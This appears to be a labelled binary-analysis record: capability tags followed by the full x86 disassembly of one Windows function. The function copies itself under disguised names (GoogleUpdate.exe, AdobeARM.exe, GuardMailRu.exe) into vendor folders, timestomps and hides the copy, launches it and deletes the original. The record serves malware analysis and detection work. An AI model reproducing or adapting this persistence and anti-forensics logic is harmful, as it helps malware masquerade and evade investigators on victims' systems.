Function at 0x402610
Capabilities:
Copy file
Create directory
Create process on windows
Delete file
Extract resource via kernel32 functions
Query environment variable
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x86c
mov eax, dword [0x40f004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x7e7]
push 0
push eax
mov byte [ebp - 0x7e8], 0
call fcn.00409890
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x7e8]
push ecx
push str._WINDIR_TasksNVIDIA_shader.job
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov edx, dword [str.praetori]
mov eax, dword [0x40db50]
mov ecx, dword [0x40db54]
mov dword [ebp - 0x2f0], edx
movzx edx, word [0x40db58]
mov dword [ebp - 0x2ec], eax
movzx eax, byte [0x40db5a]
push 0x41
mov dword [ebp - 0x2e8], ecx
lea ecx, [ebp - 0x2e1]
push 0
push ecx
mov word [ebp - 0x2e4], dx
mov byte [ebp - 0x2e2], al
call fcn.00409890
mov eax, dword [0x40db60]
mov edx, dword [0x40db5c]
mov ecx, dword [0x40db64]
add esp, 0xc
push 0x40
mov dword [ebp - 0x29c], eax
mov dword [ebp - 0x2a0], edx
mov edx, dword [0x40db68]
lea eax, [ebp - 0x290]
push 0
push eax
mov dword [ebp - 0x298], ecx
mov dword [ebp - 0x294], edx
call fcn.00409890
mov ecx, 6
mov esi, str.GoogleToolb
lea edi, [ebp - 0x250]
rep movsd dword es:[edi], dword [esi]
add esp, 0xc
push 0x36
lea ecx, [ebp - 0x236]
push 0
push ecx
movsw word es:[edi], word [esi]
call fcn.00409890
mov eax, dword [0x40db8c]
mov ecx, dword [0x40db90]
mov edx, dword [str.GoogleUpd]
add esp, 0xc
mov dword [ebp - 0x1fc], eax
movzx eax, byte [0x40db98]
push 0x3f
mov dword [ebp - 0x1f8], ecx
mov dword [ebp - 0x200], edx
mov edx, dword [0x40db94]
lea ecx, [ebp - 0x1ef]
push 0
push ecx
mov dword [ebp - 0x1f4], edx
mov byte [ebp - 0x1f0], al
call fcn.00409890
mov edx, dword [0x40db9c]
mov eax, dword [0x40dba0]
mov ecx, dword [0x40dba4]
mov dword [ebp - 0x1b0], edx
movzx edx, word [0x40dba8]
add esp, 0xc
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0x1a8], ecx
mov word [ebp - 0x1a4], dx
push 0x42
lea eax, [ebp - 0x1a2]
push 0
push eax
call fcn.00409890
mov ecx, dword [0x40dbac]
mov edx, dword [0x40dbb0]
mov eax, dword [0x40dbb4]
add esp, 0xc
mov dword [ebp - 0x160], ecx
movzx ecx, byte [0x40dbb8]
push 0x43
mov dword [ebp - 0x15c], edx
lea edx, [ebp - 0x153]
push 0
push edx
mov dword [ebp - 0x158], eax
mov byte [ebp - 0x154], cl
call fcn.00409890
mov ecx, dword [0x40dbc0]
mov eax, dword [str.praetorian.exe]
mov edx, dword [0x40dbc4]
add esp, 0xc
mov dword [ebp - 0x4cc], ecx
movzx ecx, byte [0x40dbca]
push 0x41
mov dword [ebp - 0x4c8], edx
mov dword [ebp - 0x4d0], eax
mov ax, word [0x40dbc8]
lea edx, [ebp - 0x4c1]
push 0
push edx
mov word [ebp - 0x4c4], ax
mov byte [ebp - 0x4c2], cl
call fcn.00409890
mov ecx, dword [0x40dbd0]
mov eax, dword [str.GuardMailRu.exe]
mov edx, dword [0x40dbd4]
add esp, 0xc
push 0x40
mov dword [ebp - 0x47c], ecx
mov dword [ebp - 0x480], eax
mov eax, dword [0x40dbd8]
lea ecx, [ebp - 0x470]
push 0
push ecx
mov dword [ebp - 0x478], edx
mov dword [ebp - 0x474], eax
call fcn.00409890
mov ecx, 6
mov esi, str.GoogleToolbarNotifier.exe
lea edi, [ebp - 0x430]
rep movsd dword es:[edi], dword [esi]
add esp, 0xc
push 0x36
lea edx, [ebp - 0x416]
push 0
push edx
movsw word es:[edi], word [esi]
call fcn.00409890
mov ecx, dword [0x40dbfc]
mov edx, dword [0x40dc00]
mov eax, dword [str.GoogleUpdate.exe]
add esp, 0xc
mov dword [ebp - 0x3dc], ecx
movzx ecx, byte [0x40dc08]
push 0x3f
mov dword [ebp - 0x3d8], edx
mov dword [ebp - 0x3e0], eax
mov eax, dword [0x40dc04]
lea edx, [ebp - 0x3cf]
push 0
push edx
mov dword [ebp - 0x3d4], eax
mov byte [ebp - 0x3d0], cl
call fcn.00409890
mov esi, dword [str.AdobeARM.exe]
mov edi, dword [0x40dc10]
mov ebx, dword [0x40dc14]
add esp, 0xc
mov dword [ebp - 0x390], esi
mov dword [ebp - 0x38c], edi
movzx eax, byte [0x40dc18]
push 0x43
lea ecx, [ebp - 0x383]
push 0
push ecx
mov dword [ebp - 0x388], ebx
mov byte [ebp - 0x384], al
call fcn.00409890
mov dl, byte [0x40dc18]
add esp, 0xc
push 0x43
lea eax, [ebp - 0x333]
push 0
push eax
mov dword [ebp - 0x340], esi
mov dword [ebp - 0x33c], edi
mov dword [ebp - 0x338], ebx
mov byte [ebp - 0x334], dl
call fcn.00409890
add esp, 0xc
lea ecx, [ebp - 0x7e8]
push 0
push ecx
call fcn.004048fb
add esp, 8
test eax, eax
je 0x40297f
call fcn.00401ae0
push 0
call fcn.00404980
add esp, 4
push eax
call fcn.0040494d
add esp, 4
call fcn.0040495f
cdq
mov ecx, 6
idiv ecx
push 0x103
push 0
mov byte [ebp - 0x6e0], 0
mov ebx, edx
lea edx, [ebp - 0x6df]
push edx
mov dword [ebp - 0x800], ebx
call fcn.00409890
add esp, 0xc
push 0x103
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call fcn.00409890
add esp, 0xc
push 0x4119d0
lea ecx, [ebp - 0x110]
push 0x104
push ecx
call fcn.00405b21
add esp, 0xc
xor esi, esi
lea esp, [esp]
test esi, esi
jne 0x402a29
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x5d8]
push 0x104
push eax
call fcn.00405ac2
add esp, 0xc
push str.Yandex_
jmp 0x402ab8
cmp esi, 1
jne 0x402a50
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x5d8]
push 0x104
push eax
call fcn.00405ac2
add esp, 0xc
push str.Guard.Mail.Ru_
jmp 0x402ab8
cmp esi, 2
je 0x402a5a
cmp esi, 3
jne 0x402a8e
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x5d8]
push 0x104
push eax
call fcn.00405ac2
add esp, 0xc
push str.Google_
lea ecx, [ebp - 0x5d8]
push 0x104
push ecx
call fcn.00405b21
add esp, 0xc
cmp esi, 4
je 0x402a98
cmp esi, 5
jne 0x402acc
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x5d8]
push 0x104
push eax
call fcn.00405ac2
add esp, 0xc
push str.AdobeARM_
lea ecx, [ebp - 0x5d8]
push 0x104
push ecx
call fcn.00405b21
add esp, 0xc
lea edx, [esi + esi*4]
add edx, edx
lea eax, [ebp + edx*8 - 0x2f0]
push eax
lea ecx, [ebp - 0x5d8]
push 0x104
push ecx
call fcn.00405b21
add esp, 0xc
lea edx, [ebp - 0x5d8]
push 0
push edx
call fcn.004048fb
add esp, 8
test eax, eax
je 0x402b7e
inc esi
cmp esi, 6
jl 0x402a00
test ebx, ebx
jne 0x402c29
push str.Yandex_
lea ecx, [ebp - 0x110]
push 0x104
push ecx
call fcn.00405b21
add esp, 0xc
lea edx, [ebp - 0x110]
push ebx
push edx
call fcn.004048fb
add esp, 8
test eax, eax
je 0x402b4f
push ebx
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x411ce8
lea ecx, [ebp - 0x6e0]
push 0x104
push ecx
call fcn.00405ac2
add esp, 0xc
push str.Yandex_
push 0x104
lea edx, [ebp - 0x6e0]
push edx
jmp 0x402d67
mov ecx, 0x4118c8
mov eax, 0x411458
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402ba8
test dl, dl
je 0x402ba4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402ba8
add eax, 2
add ecx, 2
test dl, dl
jne 0x402b88
xor eax, eax
jmp 0x402bad
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4032ae
push eax
lea eax, [ebp - 0x7e8]
push eax
call fcn.004048fb
add esp, 8
test eax, eax
je 0x4032ae
lea ecx, [ebp - 0x868]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
lea edx, [ebp - 0x820]
push edx
lea eax, [ebp - 0x868]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x5d8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4032ae
push 0x80
lea edx, [ebp - 0x5d8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x5d8]
push eax
jmp 0x4032a8
cmp ebx, 1
jne 0x402c74
push str.Guard.Mail.Ru_
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.00405b21
add esp, 0xc
lea ecx, [ebp - 0x110]
push 0
push ecx
call fcn.004048fb
add esp, 8
test eax, eax
je 0x402d54
push 0
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x402d54
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp ebx, 2
je 0x402c84
cmp ebx, 3
jne 0x402cd4
push 0x104
lea edx, [ebp - 0x6e0]
push edx
push str._PROGRAMFILES_Google_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push str.Google_
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.00405b21
add esp, 0xc
lea ecx, [ebp - 0x110]
push 0
push ecx
call fcn.004048fb
add esp, 8
test eax, eax
je 0x402cd4
push 0
lea edx, [ebp - 0x110]
push edx
call esi
cmp ebx, 4
je 0x402ce2
cmp ebx, 5
jne 0x402d6f
push str.Adobe
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.00405b21
add esp, 0xc
lea ecx, [ebp - 0x110]
push 0
push ecx
call fcn.004048fb
add esp, 8
test eax, eax
je 0x402d1b
push 0
lea edx, [ebp - 0x110]
push edx
call esi
push str.ARM_
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.00405b21
add esp, 0xc
lea ecx, [ebp - 0x110]
push 0
push ecx
call fcn.004048fb
add esp, 8
test eax, eax
je 0x402d54
push 0
lea edx, [ebp - 0x110]
push edx
call esi
lea eax, [ebp - 0x110]
push eax
push 0x104
lea ecx, [ebp - 0x6e0]
push ecx
call fcn.00405b21
add esp, 0xc
lea esi, [ebx + ebx*4]
add esi, esi
lea edx, [ebp + esi*8 - 0x2f0]
push edx
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.00405b21
add esp, 0xc
lea ecx, [ebp - 0x110]
push 1
mov edx, ecx
push edx
push 0x411458
mov dword [0x411434], ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x402dc3
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004047ad
mov esp, ebp
pop ebp
ret
push 0x402540
lea eax, [ebp + esi*8 - 0x4d0]
push eax
lea ecx, [ebp - 0x6e0]
push ecx
mov dword [0x4117bc], 0
call section..text
add esp, 0xc
cmp byte [0x410755], 0
jne 0x402e06
mov edx, dword [0x411434]
push edx
mov byte [0x410755], 1
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp byte [0x41168c], 0
jne 0x402e91
mov eax, dword [0x411434]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x29a
mov esi, eax
push 0x29a
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [0x411434]
push 1
push ecx
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
push edi
push esi
mov dword [0x411430], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [0x411430]
push eax
push ebx
push 0
push 1
push 0x18
push edx
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [0x411430]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov ebx, dword [ebp - 0x800]
mov edi, dword [0x4117bc]
add edi, 0x10400
cmp byte [0x41168c], 1
jne 0x402ef2
cmp dword [0x41155c], edi
jbe 0x402f64
mov ecx, dword [0x411434]
push 0
push 0x40
push 2
push ecx
lea edx, [ebp - 0x7fc]
push edx
call fcn.004051cc
mov eax, dword [ebp - 0x7fc]
add esp, 0x14
cmp eax, 0xffffffff
je 0x402f5b
mov ecx, dword [0x41155c]
push ecx
push eax
call fcn.00405489
mov eax, dword [ebp - 0x7fc]
jmp 0x402f58
push 0
call fcn.00404980
add esp, 4
push eax
call fcn.0040494d
add esp, 4
call fcn.0040495f
cdq
mov ecx, 0x7fff
idiv ecx
mov esi, edx
imul esi, esi, 0x82
add esi, 0xf4240
cmp esi, edi
jbe 0x402f64
mov edx, dword [0x411434]
push 0
push 0x40
push 2
push edx
lea eax, [ebp - 0x7ec]
push eax
call fcn.004051cc
mov eax, dword [ebp - 0x7ec]
add esp, 0x14
cmp eax, 0xffffffff
je 0x402f5b
push esi
push eax
call fcn.00405489
mov eax, dword [ebp - 0x7ec]
add esp, 8
push eax
call fcn.00405541
add esp, 4
mov ecx, dword [0x411434]
push 0
push 0x80
push 3
push 0
push 1
push 0x100
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x7fc], esi
cmp esi, 0xffffffff
je 0x4031f2
cmp byte [0x41168c], 0
jne 0x4031dc
lea edx, [ebp - 0x810]
push edx
lea eax, [ebp - 0x818]
push eax
lea ecx, [ebp - 0x808]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x4031f2
call fcn.0040495f
cdq
mov ecx, 0x12c
idiv ecx
mov ecx, dword [ebp - 0x804]
xor eax, eax
xor edi, edi
add eax, dword [ebp - 0x808]
adc ecx, edi
mov dword [ebp - 0x7f8], eax
mov dword [ebp - 0x7f4], ecx
lea esi, [edx + 0x3c]
mov dword [ebp - 0x7ec], esi
call fcn.0040495f
cdq
mov ecx, 0x18
idiv ecx
mov eax, edx
cdq
mov ecx, eax
mov eax, esi
mov edi, edx
cdq
mov ebx, edx
shld edx, eax, 1
mov esi, eax
add eax, eax
add esi, eax
adc ebx, edx
shld ebx, esi, 3
add esi, esi
add esi, esi
add esi, esi
add ecx, esi
adc edi, ebx
mov eax, edi
mov edx, ecx
shld eax, edx, 4
shl edx, 4
mov esi, edx
sub esi, ecx
mov edx, eax
sbb edx, edi
mov edi, edx
shld edi, esi, 2
add esi, esi
add esi, esi
call fcn.0040495f
cdq
mov ecx, 0x3c
idiv ecx
mov eax, edx
cdq
add eax, esi
adc edx, edi
mov ecx, eax
mov edi, edx
shld edi, ecx, 4
shl ecx, 4
sub ecx, eax
sbb edi, edx
mov esi, ecx
shld edi, esi, 2
add esi, esi
add esi, esi
call fcn.0040495f
cdq
mov ecx, 0x3c
idiv ecx
push 0
push 0x989680
mov eax, edx
cdq
add eax, esi
adc edx, edi
push edx
push eax
call fcn.0040b910
mov ecx, dword [ebp - 0x7f8]
sub ecx, eax
mov eax, dword [ebp - 0x7f4]
mov edi, dword [ebp - 0x80c]
sbb eax, edx
mov dword [ebp - 0x804], eax
mov dword [ebp - 0x814], eax
xor eax, eax
xor esi, esi
add esi, dword [ebp - 0x810]
mov dword [ebp - 0x808], ecx
mov dword [ebp - 0x818], ecx
adc edi, eax
call fcn.0040495f
cdq
mov ecx, 0x3b
idiv ecx
mov eax, dword [ebp - 0x7ec]
sub eax, edx
cdq
mov ecx, eax
mov ebx, edx
shld edx, eax, 1
add eax, eax
add ecx, eax
adc ebx, edx
mov eax, ebx
mov ebx, ecx
shld eax, ebx, 3
add ebx, ebx
add ebx, ebx
mov dword [ebp - 0x7f4], eax
add ebx, ebx
call fcn.0040495f
cdq
mov ecx, 0x18
idiv ecx
mov eax, edx
cdq
add eax, ebx
adc edx, dword [ebp - 0x7f4]
mov ecx, eax
mov ebx, edx
shld ebx, ecx, 4
shl ecx, 4
sub ecx, eax
sbb ebx, edx
mov eax, ebx
mov ebx, ecx
shld eax, ebx, 2
add ebx, ebx
mov dword [ebp - 0x7f4], eax
add ebx, ebx
call fcn.0040495f
cdq
mov ecx, 0x3c
idiv ecx
mov eax, edx
cdq
add eax, ebx
adc edx, dword [ebp - 0x7f4]
mov ecx, eax
mov ebx, edx
shld ebx, ecx, 4
shl ecx, 4
sub ecx, eax
sbb ebx, edx
mov eax, ebx
mov ebx, ecx
shld eax, ebx, 2
add ebx, ebx
mov dword [ebp - 0x7f4], eax
add ebx, ebx
call fcn.0040495f
cdq
mov ecx, 0x3c
idiv ecx
mov eax, edx
cdq
add eax, ebx
adc edx, dword [ebp - 0x7f4]
push 0
push 0x989680
push edx
push eax
call fcn.0040b910
sub esi, eax
sbb edi, edx
lea edx, [ebp - 0x810]
push edx
lea eax, [ebp - 0x818]
push eax
lea ecx, [ebp - 0x808]
mov dword [ebp - 0x810], esi
mov esi, dword [ebp - 0x7fc]
push ecx
push esi
mov dword [ebp - 0x80c], edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov ebx, dword [ebp - 0x800]
jmp 0x4031f2
push 0x41143c
push 0x411444
push 0x41144c
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x41168c], 1
jne 0x403212
cmp ebx, 1
jne 0x403212
mov edx, dword [0x411434]
push 7
push edx
jmp 0x40321a
mov eax, dword [0x411434]
push 1
push eax
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call edi
mov ecx, 0x4117c0
mov eax, 0x411458
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x403250
test dl, dl
je 0x40324c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x403250
add eax, 2
add ecx, 2
test dl, dl
jne 0x403230
xor eax, eax
jmp 0x403255
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4032ae
mov esi, dword [0x411434]
lea ecx, [ebp - 0x868]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
lea edx, [ebp - 0x820]
push edx
lea eax, [ebp - 0x868]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4032ae
mov ecx, dword [0x411434]
push 0x80
push ecx
call edi
mov edx, dword [0x411434]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.004047ad
mov esp, ebp
pop ebp
ret